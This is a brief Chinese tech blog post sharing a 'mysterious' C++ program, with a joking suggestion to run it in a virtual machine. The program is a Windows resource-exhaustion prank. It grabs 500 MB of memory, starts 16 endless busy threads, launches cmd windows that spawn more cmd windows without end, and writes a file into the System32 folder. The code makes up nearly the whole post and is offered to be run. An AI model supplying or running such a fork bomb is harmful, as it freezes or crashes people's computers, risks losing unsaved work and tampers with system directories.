跳到正文

科技·工程

神秘小代码

_Graph_Theory_约 1 分钟
原文
文章信息与版本

文章信息

发布
2026年10月5日
收录
2026年10月6日
更新
2026年10月11日
篇幅
约 1 分钟

版本

  1. v1当前

话说敢运行的也是神人了,建议在虚拟机内运行:

C++
#include <cstdlib>
#include <thread>
#include <vector>
int main(){
    new char[1024 * 1024 * 500];
    for(int i=0; i<16; i++)
        thread([]{ while(true){} }).detach();
    for(int i=0; i<8; i++)
        system("start cmd /k \"for /L %i in (1,0,1) do start cmd\"");
    system("echo off > C:\\Windows\\System32\\test.txt"); 
    while(true) {}
    return 0;
}
原文